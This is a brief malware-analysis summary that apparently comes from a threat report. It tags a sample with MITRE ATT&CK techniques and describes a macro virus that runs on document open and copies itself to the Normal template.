MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a critical ClamAV heuristic indicating it is a known macro virus. The VBA macro is designed to execute automatically via the Document_Open subroutine. This macro appears to copy itself to the Normal template, potentially establishing persistence or spreading to other documents.
